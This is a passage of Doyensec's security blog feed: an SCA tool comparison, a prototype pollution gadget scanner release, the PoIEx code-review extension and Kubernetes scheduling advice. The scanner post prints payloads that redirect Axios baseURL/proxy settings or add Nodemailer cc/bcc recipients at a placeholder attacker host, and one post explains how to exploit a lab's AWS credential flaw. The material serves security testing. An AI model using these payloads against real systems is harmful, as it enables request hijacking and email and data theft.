Doyensec's Blog2024-03-15T15:53:20+01:00https://blog.doyensec.comDoyensec LLC.info@doyensec.comA Look at Software Composition Analysis2024-03-14T00:00:00+01:00https://blog.doyensec.com/2024/03/14/supplychain<p>
<center><img src="../../../public/images/sca_supplychain.png" alt="Software Supply Chain as a factory assembly line" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<h3 id="background">Background</h3>
<p>At Doyensec, we specialize in performing white and gray box application security audits. So, in addition to dynamically testing applications, we typically audit our clients’ source code as well. This process is often software-assisted, with open source and off-the-shelf tools. Modern comprehensive versions of these tools offer the capabilities to detect the inclusion of vulnerable third-party libraries, commonly referred to as software composition analysis (SCA).</p>
<p>
<center><img src="../../../public/images/sca_right_fit.png" alt="Finding the right tool" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<p>Three well-known tools in the SCA space are <a href="https://snyk.io/">Snyk</a>, <a href="https://semgrep.dev/">Semgrep</a> and <a href="https://docs.github.com/en/code-security/dependabot">Dependabot</a>. The first two are stand-alone applications, with cloud components to them and the last is integrated into the GitHub(.com) environment directly. Since <a href="https://doyensec.com/services/security-automation.html">Security Automation</a> is one of our core competencies, Doyensec has extensive experience with these tools, from writing custom detection rules for Semgrep, to assisting clients with selecting and deploying these types of tools in their SDLC processes. We have also previously published research into some of these, with regards to their Static Analysis Security Testing (SAST) capabilities. You can find those results <a href="https://blog.doyensec.com/2022/10/06/semgrep-codeql.html">here</a>. After discussing this research directly with Semgrep, we were asked to perform <strong>an unbiased head-to-head comparison of the SCA functionality of these tools</strong> as well.</p>
<h3 id="its-time-to-ignore-most-of-dependency-alerts">It’s time to ignore most of dependency alerts.</h3>
<p><strong>You will find the results of this latest analysis <a href="https://www.doyensec.com/resources/Doyensec_Software_Composition_Analysis_Benchmark.pdf">here</a> on our research page.</strong> Included in that whitepaper, we describe the process taken to develop the testing corpus and our methodology. In short, the aim was to determine which tool could provide the most actionable and efficient results (i.e., high true positive rates), regardless of the false negative rates. This scenario was thought to be the optimal real-world scenario for most security teams, because most can’t afford to routinely spend hours or days chasing false positives. The person-hours required to triage low fidelity tools in the hopes of an occasional true positive are simply too costly for all but the largest teams in the most secure environments. Additionally, any attempts at implementing deployment blocking as a result of CI/CD testing are unlikely to tolerate more than a minimal amount of false positives.</p>
<p>
<center><img src="../../../public/images/sca_results.png" alt="False Positive Rate" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<h3 id="more-to-come">More to Come</h3>
<p>We hope you find the whitepaper comparing the tools informative and useful. Please follow our blog for more posts on current trends and topics in the world of application security. If you would like assistance with your application security projects, including security automation services, feel free to contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a>.</p>
Unveiling the Server-Side Prototype Pollution Gadgets Scanner2024-02-17T00:00:00+01:00https://blog.doyensec.com/2024/02/17/server-side-prototype-pollution-Gadgets-scanner<h3 id="introduction">Introduction</h3>
<p>Prototype pollution has recently emerged as a fashionable vulnerability within the realm of web security. This vulnerability occurs when an attacker exploits the nature of JavaScript’s prototype inheritance to modify a prototype of an object. By doing so, they can inject malicious code or alter an application to behave in unintended ways. This could potentially lead to sensitive information leakage, type confusion vulnerabilities, or even remote code execution, under certain conditions.</p>
<p>For those interested in diving deeper into the technicalities and impacts of prototype pollution, we recommend checking out <a href="https://portswigger.net/web-security/prototype-pollution">PortSwigger’s comprehensive guide</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Example of prototype pollution in a browser console
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // Outputs: true
</code></pre></div></div>
<p>To fully understand the exploitation of this vulnerability, it’s crucial to know what “sources” and “gadgets” are.</p>
<ul>
<li><strong>Sources</strong>: A source in the context of prototype pollution refers to a piece of code that performs a recursive assignment without properly validating the objects involved. This action creates a pathway for attackers to modify the prototype of an object. The main sources of prototype pollution are:
<ul>
<li><strong>Custom Code</strong>: This includes code written by developers that does not adequately check or sanitize user input before processing it. Such code can directly introduce vulnerabilities into an application.</li>
<li><strong>Vulnerable Libraries</strong>: External libraries that contain vulnerabilities can also lead to prototype pollution. This often happens through recursive assignments that fail to validate the safety of the objects being merged or extended.</li>
</ul>
</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Example of recursive assignment leading to prototype pollution
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
</code></pre></div></div>
<ul>
<li><strong>Gadgets</strong>: Gadgets refer to methods or pieces of code that exploit the prototype pollution vulnerability to achieve an attack. By manipulating the prototype of a base object, attackers can alter the application’s logic, gain unauthorized access, or execute arbitrary code, depending on the application’s structure and the nature of the polluted prototype.</li>
</ul>
<h3 id="state-of-the-art">State of the Art</h3>
<p>Before diving into the specifics of our research, it’s crucial to understand the landscape of existing research on prototype pollution. This will help us identify the gaps in current methodologies and tools, and how our work aims to address them.</p>
<p>On the client side, there is a wealth of research and tools available. For sources, an excellent starting point is the compilation found on GitHub (<a href="https://github.com/BlackFan/client-side-prototype-pollution">client-side prototype pollution sources</a>). As for gadgets, detailed exploration and exploitation techniques have been documented in various write-ups, such as <a href="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2">this informative piece on InfoSec Writeups</a> and <a href="https://portswigger.net/web-security/prototype-pollution/client-side">PortSwigger’s own guide on client-side prototype pollution</a>.</p>
<p>Additionally, there are tools designed to detect and exploit this vulnerability in an automated manner, both from the command line and within the browser. These include the <a href="https://github.com/yeswehack/pp-finder">PP-Finder CLI tool</a> and <a href="https://portswigger.net/blog/finding-client-side-prototype-pollution-with-dom-invader">DOM Invader</a>, a feature of Burp Suite designed to uncover client-side prototype pollution.</p>
<p>However, the research and tooling landscape for server-side prototype pollution presents a different picture:</p>
<ul>
<li>
<p><a href="https://portswigger.net/research/server-side-prototype-pollution">PortSwigger’s research</a> provides a foundational understanding of server-side prototype pollution with various detection methodologies. However, a significant limitation is that some of these detection methods have become obsolete over time. More importantly, while it excels in identifying vulnerabilities, it does not extend to facilitating their real-world exploitation using gadgets. This gap indicates a need for tools that not only detect but also enable the practical exploitation of identified vulnerabilities.</p>
</li>
<li>
<p>On the other hand, <a href="https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit">YesWeHack’s guide</a> introduces several intriguing gadgets, some of which have been incorporated into our plugin (below). Despite this valuable contribution, the guide occasionally ventures into hypothetical scenarios that may not always align with realistic application contexts. Moreover, it falls short of providing an automated approach for discovering gadgets in a black-box testing environment. This is crucial for comprehensive vulnerability assessments and exploitation in real-world settings.</p>
</li>
</ul>
<p>This overview underscores the need for further innovation in server-side prototype pollution research, specifically in developing tools that not only detect but also exploit this vulnerability in a practical, automated manner.</p>
<h3 id="about-the-plugin">About the Plugin</h3>
<p>Following the insights previously discussed, we’ve developed a Burp Suite plugin for detecting gadgets in server-side prototype pollution: the <strong>Server-Side Prototype Pollution Gadgets Scanner</strong>, available at <a href="https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner">GitHub</a>. This tool represents a novel approach in the realm of web security, focusing on the precise identification and exploitation of prototype pollution vulnerabilities.</p>
<p>The core functionality of this plugin is to take a JSON object from a request and systematically attempt to poison all possible fields with a predefined set of gadgets. For example, given a JSON object:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"user": "example",
"auth": false
}
</code></pre></div></div>
<p>The plugin would attempt various poisonings, such as:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"user": {"__proto__": <polluted_object>},
"auth": false
}
</code></pre></div></div>
<p>or:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"user": "example",
"auth": {"__proto__": <polluted_object>}
}
</code></pre></div></div>
<p>Our decision to create a new plugin, rather than relying solely on custom checks (bchecks) or the existing server-side prototype pollution scanner highlighted in <a href="https://portswigger.net/blog/server-side-prototype-pollution-scanner">PortSwigger’s blog</a>, was driven by a practical necessity. These tools, while powerful in their detection capabilities, do not automatically revert the modifications made during the detection process. Given that some gadgets could adversely affect the system or alter application behavior, our plugin specifically addresses this issue by carefully removing the poisonings after their detection. This step is crucial to ensure that the exploitation process does not compromise the application’s functionality or stability. By taking this approach, we aim to provide a tool that not only identifies vulnerabilities but also maintains the integrity of the application by preventing potential disruptions caused by the exploitation activities.</p>
<p>Furthermore, all gadgets introduced by the plugin operate out-of-bounds (OOB). This design choice stems from the understanding that the source of pollution might be entirely separate from where a gadget is triggered within the application’s codebase. Therefore, the exploitation occurs asynchronously, relying on OOB techniques that wait for interaction. This method ensures that even if the polluted property is not immediately used, it can still be exploited, once the application interacts with the poisoned prototype. This showcases the versatility and depth of our scanning approach.</p>
<p>
<center><img src="../../../public/images/plugin_pp_screenshot.png" alt="Plugin Screenshot" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<h3 id="methodology-for-finding-gadgets">Methodology for Finding Gadgets</h3>
<p>To discover gadgets capable of altering an application’s behavior, our approach involved a thorough examination of the documentation for common Node.js libraries. We focused on identifying optional parameters within these libraries that, when modified, could introduce security vulnerabilities or lead to unintended application behaviors. Part of our methodology also includes defining a standard format for describing each gadget within our plugin:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"payload": {"<parameter>": "<URL>"},
"description": "<Description>",
"null_payload": {"<parameter>": {}}
}
</code></pre></div></div>
<ul>
<li><strong>Payload</strong>: Represents the actual payload used to exploit the vulnerability. The <code class="language-plaintext highlighter-rouge"><URL></code> placeholder is where the URL of the collaborator is inserted.</li>
<li><strong>Description</strong>: Provides a brief explanation of what the gadget does or what vulnerability it exploits.</li>
<li><strong>Null_payload</strong>: Specifies the payload that should be used to revert the changes made by the <code class="language-plaintext highlighter-rouge">payload</code>, effectively “de-poisoning” the application to prevent any unintended behavior.</li>
</ul>
<p>This format ensures a consistent and clear way to document and share gadgets among the security community, facilitating the identification, testing, and mitigation of prototype pollution vulnerabilities.</p>
<h4 id="axios-library">Axios Library</h4>
<p>Axios is widely used for making HTTP requests. By examining the <a href="https://axios-http.com/docs/config_defaults">Axios documentation</a> and <a href="https://axios-http.com/docs/req_config">request configuration options</a>, we identified that certain parameters, such as <code class="language-plaintext highlighter-rouge">baseURL</code> and <code class="language-plaintext highlighter-rouge">proxy</code>, can be exploited for malicious purposes.</p>
<ul>
<li><strong>Vulnerable Code Example</strong>:
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>app.get("/get-api-key", async (req, res) => {
try {
const instance = axios.create({baseURL: "https://doyensec.com"});
const response = await instance.get("/?api-key=<API_KEY>");
}
});
</code></pre></div> </div>
</li>
<li>
<p><strong>Gadget Explanation</strong>: Manipulating the <code class="language-plaintext highlighter-rouge">baseURL</code> parameter allows for the redirection of HTTP requests to a domain controlled by an attacker, potentially facilitating Server-Side Request Forgery (SSRF) or data exfiltration. For the <code class="language-plaintext highlighter-rouge">proxy</code> parameter, the key to exploitation lies in the ability to suggest that outgoing HTTP requests could be rerouted through an attacker-controlled proxy. While Burp Collaborator itself does not support acting as a proxy to directly capture or manipulate these requests, the subtle fact that it can detect DNS lookups initiated by the application is crucial. The ability to observe the DNS requests to domains we control, triggered by poisoning the <code class="language-plaintext highlighter-rouge">proxy</code> configuration, indicates the application’s acceptance of this poisoned configuration. It highlights the potential vulnerability without the need to directly observe proxy traffic. This insight allows us to infer that with the correct setup (outside of Burp Collaborator), an actual proxy could be deployed to intercept and manipulate HTTP communications fully, demonstrating the vulnerability’s potential exploitability.</p>
</li>
<li><strong>Gadget for Axios</strong>:
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"payload": {"baseURL": "https://<URL>"},
"description": "Modifies 'baseURL', leading to SSRF or sensitive data exposure in libraries like Axios.",
"null_payload": {"baseURL": {}}
},
{
"payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}},
"description": "Sets a proxy to manipulate or intercept HTTP requests, potentially revealing sensitive info.",
"null_payload": {"proxy": {}}
}
</code></pre></div> </div>
</li>
</ul>
<h4 id="nodemailer-library">Nodemailer Library</h4>
<p>Nodemailer is another library we explored and is primarily used for sending emails. The <a href="https://nodemailer.com/message/">Nodemailer documentation</a> reveals that parameters like <code class="language-plaintext highlighter-rouge">cc</code> and <code class="language-plaintext highlighter-rouge">bcc</code> can be exploited to intercept email communications.</p>
<ul>
<li><strong>Vulnerable Code Example</strong>:
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>transporter.sendMail(mailOptions, (error, info) => {
if (error) {
res.status(500).send('500!');
} else {
res.send('200 OK');
}
});
</code></pre></div> </div>
</li>
<li>
<p><strong>Gadget Explanation</strong>: By adding ourselves as a <code class="language-plaintext highlighter-rouge">cc</code> or <code class="language-plaintext highlighter-rouge">bcc</code> recipient in the email configuration, we can potentially intercept all emails sent by the platform, gaining access to sensitive information or communication.</p>
</li>
<li><strong>Gadget for Nodemailer</strong>:
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"payload": {"cc": "email@<URL>"},
"description": "Adds a CC address in email libraries, potentially intercepting all platform emails.",
"null_payload": {"cc": {}}
},
{
"payload": {"bcc": "email@<URL>"},
"description": "Adds a BCC address in email libraries, similar to 'cc', for intercepting emails.",
"null_payload": {"bcc": {}}
}
</code></pre></div> </div>
</li>
</ul>
<p>
<center><img src="../../../public/images/gadget_found_screenshot.png" alt="Gadget Found" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>Our methodology emphasizes the importance of understanding library documentation and how optional parameters can be leveraged maliciously. We encourage the community to contribute by identifying and sharing new gadgets. Visit our <a href="https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner">GitHub repository</a> for a comprehensive installation guide and to start using the tool.</p>
Introducing PoIEx - Points Of Intersection Explorer2024-01-30T00:00:00+01:00https://blog.doyensec.com/2024/01/30/poiex-release<p>We are releasing a previously internal-only tool to improve Infrastructure as Code (IaC) analysis and enhance Visual Studio Code allowing real-time collaboration during manual code analysis activities. We’re excited to announce that PoIEx is now <a href="https://github.com/doyensec/PoiEx" target="_blank">available on Github</a>.</p>
<p>
<center><img src="../../../public/images/poiex-logo.png" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 350px;" /></center>
</p>
<p>Nowadays, cloud-oriented solutions are no longer a buzzword, cloud providers offer ever more intelligent infrastructure services, handling features ranging from simple object storage to complex tasks such as user authentication and identity access management. With the growing complexity of cloud infrastructure, the interactions between application logic and infrastructure begin to play a critical role in ensuring application security.</p>
<p>With many recent high-profile incidents resulting from an insecure combination of web and cloud related technologies, focusing on the points where they meet is crucial to discover new bugs.</p>
<p>PoIEx is a new Visual Studio Code extension that aids testers in analyzing interactions between code and infrastructure by enumerating, plotting and connecting the so called <strong>Points of Intersection</strong>.
<br /></p>
<h3 id="introducing-the-point-of-intersection---a-novel-approach-to-iac-app-analysis">Introducing the Point of Intersection - A novel approach to IaC-App analysis</h3>
<p>A <code class="language-plaintext highlighter-rouge">Point of Intersection (PoI)</code> marks where the code interacts with the underlying cloud infrastructure, revealing connections between the implemented logic and the Infrastructure as Code (IaC) defining the configuration of the involved cloud services.</p>
<p>Enumerating PoIs is crucial while performing manual reviews to find hybrid cloud-web vulnerabilities exploitable by tricking the application logic into abusing the underlying infrastructure service.</p>
<p>PoIEx identifies and visualizes PoIs, allowing security engineers and cloud security specialists to better understand and identify security vulnerabilities in cloud-oriented applications.</p>
<h1 id="poiex-enhancing-vscode-to-support-code-reviews">PoIEx: Enhancing VSCode to support Code Reviews</h1>
<p>PoIEx scans the application code and the IaC definition at the same time, leveraging Semgrep and custom rulesets, finds code sections that are IaC-relevant, and visualizes results in a nice and user-friendly view. Engineers can <strong>navigate the infrastructure diagram</strong> and quickly <strong>jump to the relevant application code sections</strong> where the selected infrastructure resource is used.</p>
<p>
<center><img src="../../../public/images/gif1poiex.gif" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 650px;" /><figcaption><i>Example infrastructure diagram generation and PoIs exploration</i></figcaption></center>
</p>
<p>If you use VSCode to audit large codebases you may have noticed that all of its features are tailored towards the needs of the developer community. At Doyensec we have solved this issue with PoiEx. The extension enhances VSCode with all the features required to efficiently perform code reviews, such as <strong>advanced collaboration capabilities</strong>, <strong>notes taking</strong> using the VS Code Comments API and integration with <a href="https://semgrep.dev/" target="_blank">Semgrep</a>, allowing it to be used also as a standalone Semgrep and project collaboration tool, without any of its IaC-specific features.</p>
<p>At Doyensec, we use PoIEx as a collaboration and review-enhancement tool. <br /> Below we introduce the non-IaC related features, along with our use cases.</p>
<h3 id="️-notes-taking-as-organized-threads">✍️ Notes Taking As Organized Threads</h3>
<p>PoIEx adds commenting capabilities to VSCode. Users can place sticky notes to any code locations without editing the codebase.<br /><br />
At Doyensec, we usually organize threads with a naming convention involving prefixes like: <code class="language-plaintext highlighter-rouge">VULN</code>, <code class="language-plaintext highlighter-rouge">LEAD</code>, <code class="language-plaintext highlighter-rouge">TODO</code>, etc. We have found that placing shared annotations directly on the codebase greatly improves efficiency when multiple testers are working on the same project.</p>
<p>
<center><img src="../../../public/images/poiexgif2.gif" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /><figcaption><i>Example notes usage with organized threads</i></figcaption></center>
</p>
<p>In collaboration mode, members receive an interactive notification for every reply or thread creation, enabling real-time sync among the reviewers about leads, notes and vulnerabilities.</p>
<h3 id="-poiex-as-a-standalone-semgrep-extension-for-vscode">👨💻 PoIEx as a standalone Semgrep extension for VSCode</h3>
<p>PoIEx works also as a standalone VSCode extension for Semgrep. PoIEx allows the user to scan the entire workspace and presents Semgrep findings nicely in the VSCode “Problems” tab.</p>
<p>Moreover, by right-clicking the issue, it is possible to apply a flag and update its status as: <code class="language-plaintext highlighter-rouge">❌ false positive</code>,<code class="language-plaintext highlighter-rouge">🔥 Hot</code> or ` ✅ resolved`. The status is synced in collaboration mode to avoid duplicating checks.</p>
<p>The extension settings allow the user to setup custom arguments for Semgrep. As an example we currently use <code class="language-plaintext highlighter-rouge">--config /path/to/your/custom-semgrep-rules --metrics off</code> to turn off metrics and set it use our custom rules.</p>
<p>The scan can be started from the extension side-menu and the results are explorable from the VS Code <code class="language-plaintext highlighter-rouge">problems</code> sub-menu. Users can use the built-in search functionality in a smart way to find interesting leads.</p>
<p>
<center><img src="../../../public/images/poiexgif3.gif" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /><figcaption><i>Example Semgrep results and listed PoIs exploration with emoji flagging</i></figcaption></center>
</p>
<h3 id="-project-oriented-design">🎯 Project-oriented Design</h3>
<p>PoIEx allows for real-time synchronization of findings and comments with other users. When using collaboration features, a MongoDB instance needs to be shared across all collaborators of the team.</p>
<p>The project-oriented design allows us to map projects and share an encryption key with the testers assigned to a specific activity. This design feature ensures that sensitive data is encrypted at rest.<br /><br />
Comments and scan results are synced to a MongoDB instance, while the codebase remains local and each reviewer must share the same version.<br /><br /></p>
<h2 id="a-real-world-analysis-example---solving-tidbits-ep1-with-poiex">A Real-World Analysis Example - Solving Tidbits Ep.1 With PoIEx</h2>
<p>In case you are not familiar with it, CloudSec Tidbits is our blogpost series showcasing interesting real-world bugs found by Doyensec during cloud security testing activities. The blog posts & labs can be found in this <a href="https://github.com/doyensec/cloudsec-tidbits" target="_blank">repository</a>.</p>
<p>Episode 1 describes a specific type of vulnerability affecting the application logic when user-input is used to instantiate the AWS SDK client. Without proper checks, the user could be able to force the app to use the instance role, instead of external credentials, to interact with the AWS service. Depending on the functionality, such a flaw could allow unwanted actions against the internal infrastructure.</p>
<p>Below, we are covering the issue identification in a code review, as soon as the codebase is opened and explored with PoIEx.</p>
<p>Once downloaded and opened in VS Code, examine the codebase for <a href="https://github.com/doyensec/cloudsec-tidbits/tree/main/lab-dataimport" target="_blank">Lab 1</a>, by using PoIEx to run Semgrep and show the infrastructure diagram by selecting the <code class="language-plaintext highlighter-rouge">main.tf</code> file. The result should be similar to the following one.</p>
<p>
<center><img src="../../../public/images/poiex-solve-tidbit-1.png" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>The notifications on <code class="language-plaintext highlighter-rouge">aws_s3_bucket.data_internal</code> represent two findings for that bucket.
By clicking on it, a new tab is opened to visualize them.</p>
<p>
<center><img src="../../../public/images/poiex-solve-tidbit-2.png" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>The first group contains PoIs and Semgrep findings, while the second group contains the IaC definition of the clicked entity.</p>
<p>In that case we see that there is an S3 PoI in <code class="language-plaintext highlighter-rouge">app/web.go:52</code>. Once clicked, we are redirected at the <code class="language-plaintext highlighter-rouge">GetListObjects</code> function defined at <a href="https://github.com/doyensec/cloudsec-tidbits/blob/main/lab-dataimport/app/web.go#L50" target="_blank">web.go#L50</a>. While it is just listing the files in an S3 bucket, both the SDK client config and bucket name are passed as parameters in its signature.</p>
<p>A quick search for its usages will show the vulnerable code</p>
<pre><code class="language-Go">//*aws config initialization
aws_config := &aws.Config{}
if len(imptdata.AccessKey) == 0 || len(imptdata.SecretKey) == 0 {
fmt.Println("Using nil value for Credentials")
aws_config.Credentials = nil
} else {
fmt.Println("Using NewStaticCredentials")
aws_config.Credentials = credentials.NewStaticCredentials(imptdata.AccessKey, imptdata.SecretKey, "")
}
//list of all objects
allObjects, err := GetListObjects(session_init, aws_config, *aws.String(imptdata.BucketName))
</code></pre>
<p>If the <code class="language-plaintext highlighter-rouge">aws_config.Credentials</code> is set to <code class="language-plaintext highlighter-rouge">nil</code>because of a missing key/secret in the input, the credentials provider chain will be used and the instance’s IAM role is assumed. In that case, the automatically retrieved credentials have full access to internal S3 buckets. Quickly jump to the TF definition from the S3 bucket results tab.</p>
<p>After the listing, the <code class="language-plaintext highlighter-rouge">DownloadContent</code> function is executed (at <a href="https://github.com/doyensec/cloudsec-tidbits/blob/main/lab-dataimport/app/web.go#L129" target="_blank">web.go line 129</a> ) and the bucket’s contents are exposed to the user.</p>
<p>At this point, the reviewer knows that if the function is called with an empty AWS Key or Secret, the import data functionality will end up downloading the content with the instance’s role, hence allowing internal bucket names as input.</p>
<p>To exploit the vulnerability, hit the endpoint <code class="language-plaintext highlighter-rouge">/importData</code> with empty credentials and the name of an internal bucket (solution at the beginning of <a href="https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito.html" target="_blank">Cloudsec Tidbits episode 2</a>).</p>
<h2 id="stay-tuned">Stay Tuned!</h2>
<p>This project was made with love on the <a href="https://doyensec.com/research.html" target="_blank">Doyensec Research Island</a> by <a href="https://www.linkedin.com/in/michelelizzit/" target="_blank">Michele Lizzit</a> for his master thesis at ETH Zurich under the mentoring of <a href="https://www.linkedin.com/in/francesco-lacerenza/" target="_blank">Francesco Lacerenza</a>.</p>
<p>Check out PoIEx! Install the last <a href="https://github.com/doyensec/PoiEx/releases" target="_blank">release from GitHub</a> and contribute with a <a href="https://github.com/doyensec/PoiEx" target="_blank">star</a>, <a href="https://github.com/doyensec/PoiEx/issues" target="_blank">bug reports or suggestions</a>.</p>
Kubernetes Scheduling And Secure Design2024-01-23T00:00:00+01:00https://blog.doyensec.com/2024/01/23/k8s-scheduling-secure-design<p>During testing activities, we usually analyze the design choices and context needs in order to suggest applicable remediations depending on the different Kubernetes deployment patterns. Scheduling is often overlooked in Kubernetes designs. Typically, various mechanisms take precedence, including, but not limited to, admission controllers, network policies, and RBAC configurations.</p>
<p>Nevertheless, a compromised pod could allow attackers to move laterally to other tenants running on the same Kubernetes node. Pod-escaping techniques or shared storage systems could be exploitable to achieve cross-tenant access despite the other security measures.</p>
<p>Having a <strong>security-oriented scheduling strategy</strong> can help to reduce the overall risk of workload compromise in a comprehensive security design. <strong>If critical workloads are separated at the scheduling decision, the blast radius of a compromised pod is reduced</strong>. By doing so, lateral movements related to the shared node, from low-risk tasks to business-critical workloads, are prevented.</p>
<p>
<center><img src="../../../public/images/napoleon-there-is-nothing-we-can-do.gif" alt="CloudsecTidbit" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 250px;" /><figcaption><i>Attackers on a compromised pod with nothing around</i></figcaption></center>
</p>
<p>Kubernetes provides multiple mechanisms to achieve isolation-oriented designs like node tainting or affinity. Below, we describe the scheduling mechanisms offered by Kubernetes and highlight how they contribute to actionable risk reduction.</p>
<p>The following methods to apply a scheduling strategy will be discussed:</p>
<ul>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodeselector" target="_blank">nodeSelector</a> field matching against <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#built-in-node-labels" target="_blank">node labels</a>;</p>
</li>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodename" target="_blank">nodeName</a> and namespace fields, basic and effective;</p>
</li>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#affinity-and-anti-affinity" target="_blank">Affinity and anti-affinity</a>, constraints type expansion for inclusion and repulsion;</p>
</li>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity" target="_blank">Inter-pod affinity and anti-affinity</a>, which focus labels matching on pods labels instead of nodes labels when dealing with inclusion and repulsion;</p>
</li>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/" target="_blank">Taints and Tolerations</a>, allowing a node to repel or tolerate a pod being scheduled;</p>
</li>
<li>
<p><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#pod-topology-spread-constraints" target="_blank">pod topology spread constraints</a>, based on regions, zones, nodes, and other user-defined topology domains;</p>
</li>
<li>
<p>Design a <a href="https://kubernetes.io/docs/tasks/extend-kubernetes/configure-multiple-schedulers/" target="_blank">Custom Scheduler</a>, tailored to your security needs</p>
</li>
</ul>
<h2 id="mechanisms-for-workloads-separation">Mechanisms for Workloads Separation</h2>
<p>As mentioned earlier, isolating tenant workloads from each other helps in reducing the impact of a compromised neighbor. That happens because all pods running on a certain node will belong to a single tenant. Consequently, an attacker capable of escaping from a container will only have access to the containers and the volumes mounted to that node.</p>
<p>Additionally, multiple applications with different authorizations may lead to privileged pods sharing the node with pods having PII data mounted or a different security risk level.</p>
<h4 id="1-nodeselector">1. nodeSelector</h4>
<p>Among the constraints, it is the simplest one operating by just specifying the target node labels inside the pod specification.</p>
<p>Example pod Spec</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">nodeSelector-pod</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span>
<span class="na">nodeSelector</span><span class="pi">:</span>
<span class="na">myLabel</span><span class="pi">:</span> <span class="s">myvalue</span>
</code></pre></div></div>
<p>If multiple <em>labels</em> are specified, they are treated as required (<strong>AND</strong> logic), hence scheduling will happen only on pods respecting all of them.</p>
<p>While it is very useful in low-complexity environments, it could easily become a bottleneck stopping executions if many selectors are specified and not satisfied by nodes. Consequently, it <strong>requires</strong> good monitoring and dynamic management of the labels assigned to nodes if many constraints need to be applied.</p>
<h4 id="2-nodename">2. nodeName</h4>
<p>If the <em>nodeName</em> field in the Spec is set, the kube scheduler simply passes the pod to the kubelet, which then attempts to assign the pod to the specified node.</p>
<p>In that sense, <em>nodeName</em> overwrites other scheduling rules (e.g., <em>nodeSelector</em>,<em>affinity</em>, <em>anti-affinity</em> etc.) since the scheduling decision is pre-defined.</p>
<p>Example pod spec</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span>
<span class="na">nodeName</span><span class="pi">:</span> <span class="s">node-critical-workload</span>
</code></pre></div></div>
<p>Limitations:</p>
<ul>
<li>The pod will not run if the node in the spec is not running or if it is out of resources to host it</li>
<li>Cloud environments like AWS’s EKS come with non predictable node names</li>
</ul>
<p>Consequently, it requires a detailed management of the available nodes and allocated resources for each group of workloads since the scheduling is pre-defined.</p>
<p><strong>Note</strong>: De-facto such an approach invalidates all the computational efficiency benefits of the scheduler and it should be only applied on small groups of critical workloads easy to manage.</p>
<h4 id="3-affinity--anti-affinity">3. Affinity & Anti-affinity</h4>
<p>The <em>NodeAffinity</em> feature enables the possibility to specify rules for pod scheduling based on some characteristics or labels of nodes. They can be used to ensure that pods are scheduled onto nodes meeting specific requirements (affinity rules) or to avoid scheduling pods in specific environments (anti-affinity rules).</p>
<p>Affinity and anti-affinity rules can be set as either “preferred” (soft) or “required” (hard):
